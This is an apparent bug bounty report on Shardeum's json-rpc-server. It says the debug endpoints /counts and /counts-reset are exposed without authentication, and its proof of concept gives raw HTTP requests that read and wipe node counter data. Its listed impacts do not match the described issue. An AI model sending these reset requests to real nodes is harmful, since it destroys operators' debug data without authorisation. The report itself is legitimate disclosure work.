#35598 [W&A-Insight] Access to debug endpoints without any protection
Submitted on Sep 30th 2024 at 10:56:08 UTC by @blocksmith0 for Audit Comp | Shardeum: Ancillaries II
Report ID: #35598
Report Type: Websites and Applications
Report severity: Insight
Target: https://github.com/shardeum/json-rpc-server/tree/dev
Impacts:
Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction: Changing the first/last name of user, Enabling/disabling notifications
Description
Vulnerability Details
The following debug endpoints are available without any kind of protection like authentication which enables general public to get access to these endpoints.
This enables anyone to wipe out debug data of any archiver/node on the network.
GET `/counts` this endpoint emits the nestedCounters report as an array.
GET `/counts-reset` this endpoint resets the internal nestedCounters object.
Proof of Concept
Proof of Concept
To get nestedCounters do GET request to the archiver/node.
http://127.0.0.1:4000/counts
Request:
``` GET /counts HTTP/1.1 Host: 127.0.0.1:4000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ar;q=0.7 Connection: close ```
To reset or clear internal nestedCounters do the following GET request to the archiver/node.
http://127.0.0.1:4000/counts-reset
``` GET /counts-reset HTTP/1.1 Host: 127.0.0.1:4000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,ar;q=0.7 Connection: close ```